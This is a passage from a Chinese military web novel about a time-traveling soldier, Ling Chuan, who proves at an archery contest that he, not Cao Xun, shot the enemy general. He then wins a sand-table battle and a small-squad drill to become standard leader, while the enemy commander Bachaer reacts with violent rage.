至于曹正,却是一脸的胸有成竹,他并不知道是自己儿子在冒领军功,因为,放眼狼烽口这几百号士卒,箭术能与自己儿子相比的不是没有,但绝对不包括凌川。 当然,就算知道真相,他也一定会帮助自己儿子去抢夺这份军功。 要知道,四大军功,这可就占了两样,尽管一箭射落敌军将旗算不得真正意义上的‘夺旗’,但也绝对是大功一件。 “校尉大人,卑职觉得,此事已经很明了,就是凌川想要觊觎曹巡的军功,根本没必要再查了!”曹正一脸严肃地说道。 陈暻垚依旧没有理会他,而是看向曹巡与凌川,问道:“你二人射箭之时,可有旁人作证?” 凌川摇了摇头,说道:“没有!” 曹正嗤笑一声,信誓旦旦地说道:“我儿射出那三箭,是我亲眼所见,而且,我手下其他人也都看见了!” “来人,去甲标带两个目击者过来!”陈暻垚再次吩咐亲兵。 “嘿嘿,校尉大人,我看这就没必要了吧,难道你还不相信我的为人吗?”曹正笑着说道。 陈暻垚看着这个比自己年长不少的下属,笑道:“曹标长的为人,我自然是信得过,但正因如此,我才要查一个水落石出,以免你们父子造人非议不是?” “这……”这番话,让曹正哑口无言。 不多时,三名士卒便被带了过来,陈暻垚直接开口问道: “你们之前可有看到曹巡射杀敌军主将和射落敌军将旗?” 三人面面相觑,并未第一时间作答,曹正连忙呵斥道:“校尉大人问你们话,一个个都哑巴了吗?还不把你们看到曹巡射杀穆尔扎的经过如实禀报?” 三人立马醒悟过来,连忙说道:“启禀校尉大人,我确实看见曹巡什长射杀了敌军主将穆尔扎!” “对,我也看到了,那一箭刚好射中穆尔扎的胸口!”另一人也连连点头说道。 第三名士兵目光之中带着犹豫,随后抱拳说道:“启禀校尉大人,属下确实看到曹巡什长射了几箭,但至于有没有射中目标,并没看清楚!” 听到这话,曹巡的眼神之中闪过一丝狠色。 可就在此时,带人出城寻找铁箭的那两名亲兵回来了,其中一人拿着两支铁箭,而另一人则是拿着半截丈余长的旗杆。 “校尉大人,找到了!”那名亲兵将两支铁箭地给陈暻垚,补充道:“那片区域就只有这两支铁箭,没怎么费力就找到了!” 陈暻垚拿着铁箭,与旗杆断裂处的豁口进行比较,竟然是严丝合缝,丝毫不差。 见到这一幕,曹巡的脸色变得异常难看起来。 原本想着,以自己的箭术和父亲的身份,就算是贪掉这军功,凌川一个小卒也只能忍气吞声,奈何不得他们。 可他没想到,陈暻垚在这件事情上,竟然如此较真,非要查个水落石出,以至于他现在是骑虎难下。 曹正见儿子神色中透着不安,已经大致猜到了事情的真相,但,他同样难以相信,凌川能在两百步之外一箭破甲,射死穆尔扎。 “校尉大人,杨师傅到了!”只见一名亲兵带着杨铁匠来到城头。 第12章 战功之争! “草民见过校尉大人!”杨铁匠对陈暻垚行了一礼,至于曹正父子,则是假装没看到。 陈暻垚将手中那支铁箭递给他,说道:“认识这支箭吗?” 杨铁匠仅一眼,便认出这是他白天才给凌川改造的那批箭。 “这是今日白天凌川拿到我铺子里,让我按照他的要求改造的那批铁箭!”杨铁匠看了凌川一眼回答道。 此言一出,等同于彻底实锤,曹巡也彻底慌了,连忙狡辩:“校尉大人,凌二狗他撒谎,就凭他这把破弓,怎么可能射出二百五十步开外?别以为你串通杨铁匠就想抢夺我的军功!” “你确定是你的军功?”陈暻垚转过目光看着曹巡,声音也略显冷漠。 事到如今,明眼人都知道是怎么回事了,但正所谓不看僧面看佛面,陈暻垚还是对曹正问道:“曹标长觉得,此事应当如何处理?” 曹正咳嗽一声,说道:“既然双方各执一词,我看不如让他们当着所有人的面比试箭术,这样真相就一目了然了!” 陈暻垚又看向凌川,问道:“凌川,你觉得呢?” “可以!” “好!明日到校场比试,一辩真假!” “凌二狗,你可要想清楚了,现在坦白还来得及!”曹巡用警告的眼神看着凌川,丢着这句话便跟他老子走下了城墙。 陈暻垚看着二人离去的方向,对凌川问道:“你有把握吗?” “对付他,绰绰有余!”凌川不以为意地说道。 一旁的杨铁匠则是满脸茫然,问道:“校尉大人,这箭有什么问题吗?” 陈暻垚苦笑一声,说道:“半个时辰前,有人用这种箭射杀了胡羯主将穆尔扎!” “什么?”杨铁匠满脸不可思议地看向凌川,“我滴个乖乖,好小子,牛逼啊!” 两百五十步开外,射杀敌军主将,而且,还是对方身着铁甲的情况下,他实在难以想象,那得是一把多强的弓。 可当他看到凌川的复合弓之后,眼神中带着深深的怀疑之色:“你说,你当时用的是这把弓?” “嗯!”凌川点了点头。 “你骗谁呢?这不过是一把木弓,而且,弓弦松松垮垮,能射一百步就顶天了!”杨铁匠的这番话跟曹巡之前如出一辙。 “你明天看了就知道了!”凌川将复合弓挎在肩上。 “好,我一定来!”杨铁匠说完也离开了。 “陪我四处看看?”陈暻垚说道。 凌川点头:“好!” 陈暻垚沿着城墙走在前面,查看沿途的设防,凌川紧随其后。 “想不到你的箭术如此了得,以前还真是没看出来啊!” 凌川暗自苦笑,不知作何回答,总不能直接告诉他,自己是穿越过来的吧。 无奈,只能岔开话题,问道:“校尉大人相信是我射杀了穆尔扎?” 陈暻垚停下脚步,转过身看着他,问道:“我看起来很愚蠢吗?” 凌川:“……” 陈暻垚不过三十出头,身上带着几分书生气,听苏璃说他出生在一个没落的世家,觉得读书无用才弃笔从戎。 “你觉得,胡羯人为何会在这个时候攻打狼烽口?”陈暻垚再次问道。 对此,凌川也有些不解,毕竟,这个季节,北疆常年被冰雪笼罩,行军将异常困难,狼烽口虽然只有一营守军,但,占尽天时地利。 这些年胡羯骑兵几次攻破北疆防线、劫掠大周北境十三州,却没有攻破过狼烽口。 而且,狼烽口位置特殊,只要没有占领这里,就算攻破了其他地方的防线,也如无根之萍,无法长期占领。 这也是为何他们每次攻破防线之后,都是大肆劫掠一通,随后便退回 胡羯人不傻,他们既然冒着这么大的风险穿越河套草原,突袭狼烽口,定然是有一定的把握能将其拿下。 “最坚固的雄关,往往都是从内部瓦解的!”凌川喃喃道。 陈暻垚脚步一顿,猛然转过身,眼神直勾勾地盯着他。 许久之后,他才从牙缝中挤出几个字,“你觉得会是谁?” 凌川淡笑着回应道:“把饵放下去,只要有鱼就一定会咬钩!” 事实上,这也只是凌川结合前日巡边遇到胡羯人的斥候,才做出的猜测。 不得不说,陈暻垚是一名合格的将领,他沿着城墙将所有布防都巡查了一遍这才回营。 凌川也回到家中,发现灯还亮着,刚进屋,苏璃便迎了上来,一边帮他掸去身上的雪,一边问道: “怎么样?胡羯人退走了吗?” 凌川点头:“已经被打退了,不过他们肯定还会卷土重来,这个年怕是过不清净了!” 随后,他又将之前与曹巡争夺战功的事情说了一遍,苏璃听后顿时满脸愤懑。 “怎么会有这般无耻之人,而且冒领战功可是大罪,他们难道敢无视军法吗?” 凌川笑着安慰道:“娘子不用生气,我的战功,谁也抢不走!” 此不多时,天色放亮。 凌川喝了一碗米粥,便再次出门,按照约定,接下来要与曹巡道校场比试。 对于这场比试,凌川并未放在心上,毕竟真金不怕火炼。 当凌川来到校场的时候,这里已经围了不少人,曹巡父子二人也早早到场,身边围着不少甲标的士卒,恭维与祝贺之语接连不断。 凌川刚到场,便有几道身影迎了上来,其中一人是他的什长李长隆,另外几人,也都是他们这一标的什长。 昨晚标长老马被敌人射杀,他们这一标群龙无首,而凌川所在那一伍更是只剩下他一人。 “凌二狗,你给老子听着,是你的东西就给我抢回来,别丢了咱们戊标的脸!”显然,他们都已经听说了,今日是专门来给凌川站台的,怎么说,凌川都是他们戊标的人。 几人看了不远处的曹正父子一眼,说道:“真以为老马不在了,咱们戊标就成了人人拿捏的软柿子了?” 这一刻,凌川感觉内心暖暖的,他用力点了点头,说道:“放心吧!这军功,他抢不走!” “呵呵,看不出来,你小子有点骨气!”李长隆拍了拍他的肩膀,笑道。 “等回头赏银下来了,我请大家喝酒!”凌川笑道。 就在这时,甲标的一名什长来到凌川身边:“凌二狗,咱们标长要见你,跟我走吧!” 第13章 校场比试! “我不是甲标的兵,曹标长若是有事儿,让他来找我!”凌川平淡的语气中带着几分硬气。 此言一出,哪怕是李长隆等人都为之一愣,刚刚还夸你小子有骨气,没想到你这般生猛,哪怕就算不去,也不能说得这般直白吧! “大胆,你竟敢抗命!”那名甲标什长面色一怒,呵斥道。 “你算个什么东西?有什么资格命令咱们戊标的兵?”李长隆也站到凌川身边,直接回怼道。 虽说,狼烽口属甲标独大,但他们都是刀口舔血的边军,谁身上没点血性? 更何况,刚刚凌川一个兵卒都硬刚了,自己这个什长怎么能怂? 戊标几名什长都盯着他,那名甲标什长也只能灰溜溜回去,将情况禀报给曹正。 不多时,曹正亲自前来:“凌川,能否借一步说话?” 凌川淡然一笑,说道:“大家都是敞亮人,曹标长有什么话在这儿说就行了!” 曹正见凌川不上道,只能将目光看向李长隆等几名戊标的什长,奈何,李长隆等人假装没看到,依旧站在凌川身边,没有挪步的意思。 无奈之下,他只能硬着头皮说道:“你年纪轻轻,能力也不错,不如来我甲标,我给你个什长做!” 话说到这个份上,很明显他已经从儿子曹巡口中得知真相了,所以才会在此时用这种方式,希望收买凌川。 凌川淡然笑道:“曹标长的好意我心领了,正所谓无功不受禄,我觉得,还是自己挣来的东西,拿着心里更踏实一些。” 这话一语双关,曹正自然能听懂。 不过此时他明显没心思跟凌川计较这些细节,继续说道:“要不这样,这次战功的赏银全部给你,什长的位置我依然给你留着如何?” 凌川依旧摇头,“我觉得有必要纠正一下,那本来就是我的,不需要经你的手给我!” 凌川声音不大,却字字铿锵,曹正虽然面不改色,可身体却被气得微微颤抖。 他没想到,一个小小兵卒,竟敢当众忤逆自己。 凌川也明显察觉到了他眼底闪过那一丝阴冷杀机,不过他并不在乎,正如那日对刘武所说,自己的战功,谁也抢不走。 “你可要想清楚了,过了这个村就没这个店了!你还年轻,以后的路还很长!”曹正话中带着一丝不加掩饰的威胁。 “不劳费心!”凌川丢下这四个字,径直朝着不远处走来的杨铁匠走去。 “给你活路你不走,非要找死!”曹正看着那道消瘦背影,嘴唇颤抖。 不多时,陈暻垚带着两名亲兵来到校场。 校场有现成的靶子,一名亲兵测出两百五十步距离之后,便让凌川与曹巡就位。 看着远处模糊的靶子,曹巡面色无比凝重,他虽能开四石弓,但却并不能满弦,所以,他心里很清楚,就算能射到两百五十步的距离,箭也已经毫无杀伤力可言。 而且,这么远的距离,想要命中靶子,几乎是不可能,至少自己做不到。 不过当他看到凌川手中那张造型怪异的木弓之后,心里顿时松了一口气,如果连自己都做不到,凌二狗就更无可能了。 “每人三支箭,谁中靶多算谁胜!”陈暻垚直接宣布了规则。 “请问校尉,若是都没中靶怎么算?”曹巡问道。 陈暻垚一脸怪异地看着他,问道:“那就要问问你自己,是如何在黑夜中一箭射杀穆尔扎,然后又精准射中敌军将旗的了!” 曹巡这才意识到,自己说错了话,被陈暻垚一句话怼得哑口无言。 “准备好了就开始吧,你们谁先来?” “我来!”曹巡率先出列,走到中间。 此时的他迫切想要证明自己,尽管他清楚自己无法命中靶子,但却有碾压凌川的绝对信心。 周围聚集了两三百士卒,一个个满脸期待,毕竟,能看到曹巡射箭的机会可不多。 昨晚的事情,很多人都已经知晓,但,知道真相的并不多,大多数人都认为,是凌二狗恬不知耻,想要冒领军功。 只见曹巡来到场中,先是侧过目光瞪了凌川一眼,随即拿起自己最引以为傲的四石弓,随即取出一支羽箭,缓缓拉动弓弦。 “嘎吱嘎吱……” 有人惊呼道:“曹巡果真恐怖,整个狼烽口,估计也就他能开四石弓了吧!” 随着弓弦被拉开,曹巡双臂之上青筋暴露,整张脸都憋得通红。 可终究,他还是未能拉至满弦。 “嗡……” 一道弓弦颤鸣之声传来,那支羽箭脱弦飞出,直奔正前方的靶子而去。 然而,这一箭飞至两百步的时候,便明显后继无力,飞行轨迹开始下坠。 最终,这支羽箭插入地面泥土之中。 “啊,竟然差了足足三十步!”围观兵卒纷纷露出不可思议的神色。 若说这第一箭未能命中目标他们都能理解,可现在的问题是,连距离都不够,这未免有些匪夷所思了。 曹巡的脸色也十分难看,周围的嘘声与一道道质疑的目光,宛如一记响亮的耳光。 曹巡深吸一口气,只见他深吸了一口气,再次弯弓搭箭。 这一次,弓弦比之前拉得更满,已经无限接近满弦。 “咻……” 羽箭飞射而出,这一次,明显比之前更远,距离靶子只有不到十步,可终究还是未能抵达。 周围的嘘声小了很多,但,众人脸色的怀疑之色却愈发浓重。 如果说第一箭是发挥失常,那么这一箭该作何解释? 许多原本不明真相的人,此时脑海中都生出了一个大胆的想法,该不会冒领军功的人是曹巡吧? 看着仅剩的一支箭,曹巡内心生出一股无力感,因为,他知道,自己短时间内已经无法再开弓了。 正所谓一鼓作气,再而衰,三而竭。 刚才连开两箭,都已经超出了他的能力,此时双臂都在不住颤抖,就算强行射出第三箭,也毫无意义。 “校尉大人,第三箭我放弃!”曹巡极为不甘地说道。 此言一出,不少人为之惊愕,只有为数不多的弓箭手看出了其中的究竟。 “他已经没有力气拉开第三次弓了!” “黄琛,你箭术不在曹巡之下,你有没有把我射中靶子?”有人对同为弓箭手的黄琛问道。 名为黄琛的年轻男子苦笑着摇头道:“我只能开三石弓,两百步已经是我的极限!” 第14章 一箭足矣! 随着曹巡走下场,就该轮到凌川出场了。 “小子,你行不行啊?”杨铁匠拉着他问道。 今日一早他便赶了过来,就为了亲眼目睹,到底是一张多强的弓,才能在两百五十步之外一箭射杀穆尔扎。 凌川一脸轻松,笑道:“你看着吧,很快就有结果了!” 只见凌川缓步来到场中指定位置,他手中的复合弓立马引起了周围人的注意。 “诶?你们看,凌那把弓,怎么拐头怪脑的?” 饶是那几名见多识广的标长,也都满脸疑惑,因为他们也没见过这种样式的弓。 “杨师傅,这种弓你见过没?”李长隆来到杨铁匠身边问道。 杨铁匠摇了摇头,说道:“我是铁匠,怎会认得这种木弓?” 曹巡本以为凌川昨天拿出这把弓,只是一个幌子,没想到他竟然真的拿着这把弓来比试。 “看那弓弦松松垮垮的,还加装了两个花里胡哨的轮子,怎么看都像是个小孩的玩具!”黄琛也点评道。 “凌川,你准备好了吗?”陈暻垚问道。 “回校尉大人,我准备好了!”凌川目光坚定地回答道。 陈暻垚点了点头,说道:“开始吧!” 凌川快速取出一支铁箭,搭箭上弦,迅速拉开。 “咻……” 众人还没反应过来,那支铁箭已经脱弦飞出,直奔正前方那个靶子。 “砰……” 紧接着,一道碎裂声传来,只见那个靶子直接碎开,准确说,是固定靶子的木桩直接碎开。 “我滴天,这怎么可能?” 现场所有人张大嘴巴,眼睛直勾勾地盯着那个碎开的木桩。 要知道,这可是两百五十步开外啊,能命中靶子就已经是匪夷所思的事情了,还能连同固定靶子的木桩给杆碎,这简直不敢相信。 最让他们难以置信的是,整个过程,凌川都表现得毫不费力。 “这不可能,就算是五石弓,也没有如此强大的杀伤力,估计也只有传说中的铁胎弓能与之相比了!”杨铁匠瞪大双眼呢喃自语。 曹巡父子二人同样瞪大双眼,他们简直不敢相信,凌川手中那把造型古怪、弓弦松松垮垮的木弓,竟有如此惊世骇俗的威力。 “看来,是我们搞错了,是曹巡想要抢夺他的军功才对!”有人小声说道。 “曹巡拼尽全力,可射出的两箭都未能抵达靶子的位置,凌川一箭中靶不说,连木桩都干碎了,就算是傻子也知道射杀穆尔扎,和射落敌军将旗的正主是谁了!” 尽管抢夺军功的事情,在边关早已是家常便饭,可依旧还是有许多兵卒对曹巡的行为感到不齿。 曹巡也察觉到了那些落在他身上的异样目光,让他恨不得找个地缝钻进去。 场中的凌川看向陈暻垚,问道:“校尉大人,还要比下去吗?” 陈暻垚对他招了招手,说道:“过来吧!你这弓叫什么名字?” 凌川看了看手中的复合弓,说道:“就叫它破甲吧!” 陈暻垚点了点头,“破甲,好名字!” 随即,他直接带着凌川来到曹巡跟前,“你还有什么要说的吗?” 曹巡面如死灰,他知道,在铁证面前,说什么都是苍白的。 原本以为,他凌二狗一个毫无背景的窝囊废,就算自己吃了他的军功,他又能怎样? 可谁曾想这凌二狗竟如此不识好歹,陈暻垚也不知道哪根筋不对,非要彻查到底,现在,自己非但军功没捞着,还得接受处置,看着跟在陈暻垚身边朝着自己走来的凌川,曹巡内心涌现出一股浓烈杀意。 “曹巡,回话!”陈暻垚声音陡然拔高。 曹巡低着头,事到如今,他还能说什么? “逆子,你竟然做出这种事情来,看我今天不打死你!” 一旁的曹正见势不妙,连忙站出来,狠狠一耳光甩在曹巡的脸上。 “啪……” 紧接着,曹正对着他又是一顿拳打脚踢。 陈暻垚全程没有阻止,凌川也当做是在看戏。 曹正看似下死手,实际上,打的都是一些无关痛痒的地方,明眼人都明白,这是在演戏给陈暻垚看。 见陈暻垚迟迟没有叫停的意思,曹正不由得加大了力道,曹正口中也不时传来惨叫声。 “曹标长,可以了!”陈暻垚实在看不下去了,出声叫停。 “校尉大人,这逆子竟然做出这种无耻的事情,今日定要好好罚他!”曹正满脸愤怒,实则确实在用这种方式以进为退。 陈暻垚点头说道:“军法如山,犯了错当然要罚,从现在开始,免去曹巡什长职位,贬为普通军卒!” “啊……” 曹正宛如吃了苍蝇一样难受,感情自己这出大义灭亲的戏码,对方压根不买账。 躺在地上的曹巡更是心如死灰,今日对于他来说无疑是奇耻大辱,不仅在众目睽睽之下颜面尽失,还遭受一顿毒打,就连什长职位都被免去了。 丢下这句话之后,陈暻垚便径直离开了。 不多时,凌川以及戊标的几名什长都被叫到了校尉营之中。 “老马死了,接下来谁来担任戊标标长,你们给个人选!”陈暻垚直奔主题。 几名什长面面相觑,要说心里没点想法那是不可能的,但他们都清楚,自己无论是战功还是能力,都未必能服众。 陈暻垚目光扫视一圈,见大家都不说话,再度开口道:“既然你们都没有人选,那我推荐一个你们看看!” 此言一出,众人顿时精神起来,心里也都在猜测陈暻垚会推荐谁。 “我觉得凌川就不错,虽然年纪小了点,但有勇有谋!” 其实,不少人已经察觉到了这个信号,要不然,陈暻垚不会将凌川这个普通军卒叫过来。 “校尉大人,卑职觉得不妥!”就在此时,一名什长起身抱拳说道。 此人名为梁盛,年纪在四十岁左右,戊标的几名什长中按照资历和战功,他是最合适当这个标长的。 “有何不妥?”陈暻垚问道。 “卑职觉得,凌川从无带兵经验,打仗可不是儿戏,仅靠个人勇猛是不够的,得为手下兄弟们的性命负责,将戊标交给他,卑职不放心!” 这番话,避重就轻,不谈凌川的战功,而是着重强调凌川没有带兵经验。 陈暻垚哪怕有心提拔凌川,但这种时候,还得凌川自己站出来用实力让对方闭嘴,才有足够的说服力。 第15章 纸上谈兵! 凌川站起身来,对着众人抱拳行了一礼,说道: “在下虽然年轻,但也看过几本兵书,用兵之法和带兵之道也略懂一些,自认为,统领三五百人,还是不在话下!” 这种时候,凌川可不会讲所谓的格局去推辞谦让,而是要尽全力坐上这标长之位,毕竟,两世为人的他心里很清楚,只有权利,才是站稳脚跟乃至出人头地的根本。 丛林法则,哪怕是放在上一世的文明社会一样适用,更何况是这种乱世。 然而,他的这番话,却立马遭到了梁盛的呵斥:“狂妄,乳臭未干,竟敢在这里大言不惭!” 凌川则是当仁不让,不过他并未发怒,而是面色和煦地说道:“什长若是不信,咱们可以比一比!” “行,你说怎么比?” “很简单,咱们双方各调遣五百兵力在沙盘上推演,看谁获胜!”凌川回答道。 梁盛冷笑一声,说道:“原来是纸上谈兵,那我就陪你玩玩!” 按照规则,双方各四百步兵一百骑兵在沙盘上展开厮杀。 凌川率先出招,他率先派出一百骑兵,正面冲锋杀向对方阵营。 见此举,围在沙盘周围的几名什长不由得摇头,哪怕是陈暻垚也觉得,凌川太莽撞了。 在一场战斗中,骑兵可是致胜法宝,都是在决胜负的阶段才会派上战场,谁家好人一开始就将王牌打出去? 梁盛见状,不由得冷笑道:“可笑,枪阵御敌!” 随即,他立马拉开步兵阵营,以长枪列阵对抗骑兵的冲锋。 当骑兵冲至步兵阵营百步开外的时候,凌川直接将其兵分两路,从两侧绕过了梁盛的步兵阵营。 梁盛神色一愣,只觉得不明所以。 “放箭!” 凌川一声令下,那些手持长枪准备抵御骑兵的步兵还没反应过来,对方的步兵阵营中大片箭雨便飞射而至。 由于之前凌川一方的骑兵挡住了梁盛这边步兵的视线,当骑兵从两旁掠过,箭雨便已经射了过来。 梁盛大吃一惊,连忙喊道:“盾牌抵挡!” 只可惜,已经来不及了,凌川这边的步兵阵营抛射三轮之后,便直接冲锋。 与此同时,两路骑兵也绕制梁盛阵营后方,与己方步兵一起发动冲锋。 反观梁盛一方,步兵阵营在长枪和盾牌切换间,阵型便已经出现了松散,此时,前后同时发起冲锋,他根本就没有抵抗之力。 到了这一刻,梁盛知道,这一次对抗自己输了。 陈暻垚的眼底闪过一丝惊愕,随即便是深深的欣赏。 虽说凌川是剑走偏锋,以奇招致胜,梁盛输得不明不白,可战局本就是瞬息万变,胜负往往只在刹那之间,而且,从来不给人复盘的机会。 前世,凌川从小就是军事迷,特别是对冷兵器时代的战争尤为热衷,再加上自己特种兵王的军事素养,排兵布阵自然不在话下。 “梁盛,你再不认输,那就真要被杀得片甲不留了!”李长隆笑着说道。 梁盛长叹一声,只能无奈丢下将旗认输,随即,他用极为不甘的眼神看着凌川,“纸上谈兵而已,而且,你也不过是侥幸获胜,这作不得数!” “嘿,梁盛,你是不是男人,说出来的话还赖账?”另一名什长指责道。 “不是我梁盛输不起,而是我不想那戊标的一百余兄弟的性命开玩笑!”梁盛再次将目光看向凌川,“纸上谈兵算不得什么,有本事咱们拉开架势,真刀真枪干一场!” 梁盛方才这番话,让凌川对他的印象有所改观,毕竟,他并非单纯的争夺权利,而是在为手下军卒考虑。 按理说,凌川已经赢了,但,对于梁盛提出的实战比试,陈暻垚并没有阻止,因为,他也很想见识一下凌川到底是有真本事,还是只会纸上谈兵。 “好!”凌川没有丝毫犹豫,直接答应了下来。 “咱们各带一伍进行实战对抗,你要是还能赢,我不但赞同你当标长,以后对你唯命是从!”梁盛说道。 “没问题!”凌川也点头答应:“不过,我有一个要求!” “你说!” “我毕竟没有自己的兵,我得挑选五人进行训练!”凌川说道。 他这个要求并不过分,梁盛也爽快答应:“行,那就给你三天时间,三天之后咱们演武场见真章!” “不用三天,三个时辰即可!”凌川摇了摇头说道。 包括陈暻垚在内的众人甚至怀疑自己听错了,三个时辰,开始忙玩笑? 可凌川却是一脸的成竹在胸。 李长隆拍了拍凌川的肩膀,说道:“咱们伍的人,你自己去挑!” 很快,凌川便挑了五名士兵,跟自己一样,都属李长隆手下的兵,彼此都比较熟悉。 如今,凌川三箭退敌的壮举,早已是人尽皆知,就连城内百姓都奔走相告,毕竟,在与胡羯交战这些年中,还从未有人取得过如此惊人的战绩。 这几名士兵接到李长隆的命令之后,都非常愿意,对凌川的态度也不像以往那般,甚至还带着几分敬意。 凌川并未急着训练,而是带着李长隆和五名士兵来到家里,亲手做了一盆红烧羊肉款待大家。 苏璃出生名门,礼节自是不必多说,给大家留下了非常好的印象。 “凌川,三个时辰真的足够吗?”李长隆有些担忧地问道。 凌川却是一脸轻松,“足够了!” 吃过饭之后,凌川带着几人来到校场,但他并未急着训练,而是让几人围拢,他则是拿着一根木棍,在地上一边画一边讲解。 “川子,这能行吗?”一名士兵用怀疑的口吻问道。 “放心,只要你们按照我的做,别说是五对五,就算是五对十也有很大胜算!” 三个时辰很快就过去了,只见梁盛带着五名兵卒来到演武场,不仅如此,还有不少士卒也听说了此事,准备前来看热闹,就连校尉陈暻垚都来了。 “凌川,我不想占你便宜,实在不行我再给你两天时间如何?”梁盛走上前来说道。 凌川笑道:“不用了,开始吧!” 第16章 五行锥阵! 很快,双方便拉开阵型,准备开打。 梁盛一方的五名步卒个个彪悍健硕,五人手持木刀,一字排开,在气势上边压了凌川这边一头。 而凌川在挑选五名步卒的时候,似乎很是随意,参差不齐。 但,这五人的站位却颇有讲究,除了配备战刀之外,还配备了不同的兵器。 其中,两名较为高大的士兵除了挂在腰间的木刀之外,各持一面盾牌站在前方。 后面两人手持一杆长枪,最后一人则是把这一把弓箭。 按照规定,双方刀枪箭镞均涂抹白灰,以白灰代刃,中躯干者退,中四肢者跛行三步。 “川子,这能行吗?”其中一名士兵小声问道,很明显,在见到对方那五个大块头之后,他们心里也没底。 “放心,只要按照咱们操练的来,一定能轻松取胜!”凌川信誓旦旦地说道。 此时,不光是戊标的几名什长到场,其他几标也都有不少标长什长乃至士卒前来观战。 “双方实力悬殊太大,这场比试应该没什么悬念!”丙标标长朱骞摇了摇头说道。 另一边的李长隆也面带担忧,说道:“实战不是纸上谈兵,凌川相比起梁盛,经验差了太多,想要取胜太难了!” “开始!” 随着陈暻垚一声令下,梁盛一方的五名士卒直接举起战刀冲了过来。 凌川这边的五名士卒见对方来势汹汹,下意识就要后退,忽然想起凌川之前的交代,一定不能退。 “盾!” 凌川清脆的声音在后方传来,两名盾兵直接举起手中盾牌,挡住这五人劈来的木刀。 “枪……” 凌川的命令再次传来。 两名枪兵瞅准时机,将手中去了枪头的木杆从盾牌的缝隙中刺了出去。 顿时,梁盛一方两名步卒被木杆捅中胸口,直接倒地。 两名盾兵见状,再次举起盾牌往前压,枪兵紧随其后。 最后那名弓箭手则是瞅准时机放箭,五人配合得天衣无缝。 仅片刻时间,梁盛的五名士卒全部被打翻倒地,反观凌川一边,五人毫发无损。 凌川将前世冷兵器时代的五行锥阵给现搬了过来,盾阻刀锋,枪破中门,弓慑后方,五行相生。 这种战阵看似简单,可都是在无数次战斗中摸索打磨出来的,威力巨大,而且非常实用。 最主要的是,这战阵演练起来并不复杂,只需分工明确,彼此配合默契就行。 现场一片寂阒,所有人都瞪大双眼,简直不敢相信这样的结果。 哪怕是陈暻垚也没想到,这场比试会结束得这么快,更不敢相信,凌川能以这种近乎碾压的方式胜出。 也是直到此时,人们才意识到,凌川一方那五名步卒的站位,是他们之前从未见过的。 刚才比试的画面一次次在陈暻垚的脑海中回放,他也终于明白,这个五人小阵的可怕之处。 将防御和进攻分配到不同的人身上,依靠彼此默契的配合,竟然发挥出难以想象的威力。 梁盛目光呆滞,他不敢相信,他将自己手下最强的五人挑选出来,结果却是完败。 只见他长叹一声,说道:“我输了,输得心服口服,从今以后,你凌川便是戊标标长!” 凌川抱拳回应道:“梁大哥承让!” “好!我宣布,从现在开始,凌川担任戊标标长!”陈暻垚当众宣布道。 听到这话,不少人的脸上都不出震惊之色,凌川带不满十六岁,竟然当上了标长,这对于大多数步卒来说,简直就是一步登天,毕竟,他们之中绝大多数人,就算熬一辈子的资历,也难以当上标长。 而且,身处边关,一旦开战,谁都有可能看不到明天的太阳。 凌川成为戊标标长的消息,很快就传遍了整个狼烽口,人们虽然觉得诧异,但想到他这次立下的惊人战功,也就释然了。 日落黄昏之时,凌川与戊标的几名什长一起来到城中小山的一座新坟跟前,祭拜了老马。 老马算是狼烽口的老卒了,本事一般,但对人却十分和善,以至于全标上下,对这位老标长都十分敬重。 凌川买了一坛酒以及一些纸钱。 凌川酹酒于坟前:“马标长,这碗酒敬你。戊标兄弟交给我你就放心吧,只要有我在,必不教胡马入关一步!” 与此同时,狼烽口以北三十里处,二十余座帐篷矗立与风雪之中。 中军大帐,一具魁梧的尸体静静躺在那里,赫然是被凌川一箭射杀的胡羯大军主将,穆尔扎。 十多名军中将领坐在周围,一个个面色阴沉,主将被人一箭射杀于阵前,这对于他们而言,简直就是莫大的耻辱。 就在此时,一名长相与穆尔扎有几分相似的魁梧男子直接闯了进来,众人见状,皆是面带恐惧,蹭的一下站起身来。 只因他手中提着一颗人头,身后跟着的十几名魁梧汉子同样人手提着一颗血淋淋的人头,那些人头还在不断淌血,显然是刚砍下来不久。 男子将手中那颗血迹未干的人头直接丢到地上,身后一众汉子有样学样,十几颗人头骨碌碌在地上滚动,众人不由得倒吸一口凉气,只因这些人头赫然是穆尔扎的亲兵。 魁梧男子来到穆尔扎的尸体跟前,双目通红。 “告诉我,我哥是怎么死的?”男子不是别人,正是穆尔扎的弟弟巴查尔。 此人同样是胡羯南征主帅拓跋桀麾下的七大战将之一,而且,无论是战力还是功勋,都在哥哥穆尔扎之上,同样其冷血与残暴程度,相比起穆尔扎也有犹有过之。 今日凌晨,他们将穆尔扎战死的消息上报,没想到,巴查尔竟然这么快就赶了过来。 面对巴查尔那野兽般的目光,所有人都只能下意识地低头,不敢与之对视。 “说话!”巴查尔怒喝道。 “启禀将军,是在狼烽口被周军射杀的!”一名副将颤颤巍巍地说道。 巴查尔大步来到那名副将跟前,一把将他给举了起来,咬牙说道:“把当时的情况一字不漏地告诉我!” 那名副将浑身冷汗直冒,将当时的情况一一告知。 “唰……” 只见一道寒芒闪过,那名副将直接被一刀枭首。 巴查尔将附近首级掷于毡毯,猩红浸透羊毛。他抚着兄长铁甲上的箭孔,目眦尽裂:“两百五十步?周人的箭何时能射透重甲!” 帐中诸将噤若寒蝉,唯闻帐外风雪呜咽。那箭孔边缘的螺旋血槽,赫然是夺命三棱镞的印记。 第17章 升任标长! “噗通!” 一众将领吓得当场下跪,哀求道:“将军,我们没有说谎,穆尔扎将军确实是被城墙上的周军一箭射杀!” 只见一名面色黝黑的汉子双手捧着一支铁箭,递到巴查尔跟前,说道:“就是这支箭射杀了穆尔扎将军!” 巴查尔接过一看,不由得目光一缩,他一眼就认出,这是胡羯所铸的铁箭,不过,箭镞经过二次改造。 以他的眼力,自然能看出这支箭的不凡之处,三条矢锋能将所有力量都集中在箭镞之上,同时,三条血槽能加大伤害,三根倒钩更是会让中箭者遭受二次伤害。 “好恶毒的箭!好恐怖的弓箭手!”巴查尔拿着这支箭镞仔细端详,呢喃道。 随即,他看向面前的男子,厉声问道:“铁勒,你是我大羌十大射雕手之一,你告诉我,两百五十步之外,你能否一箭破甲?” 这位名为铁勒的汉子不是别人,正是当晚在狼烽口城下一箭射杀老马的那名神射手。 面对巴查尔的质问,铁勒沉默片刻,随即摇头道:“属下做不到!” 此言一出,就算是巴查尔都为之一惊,铁勒虽然在哥哥帐下,但他的箭术自己是很清楚的。 大羌帝国十大射雕手,最差都是能开五石弓的存在,可就连铁勒都表示做不到,让他很是意外,周军之中何时出了这等神射手。 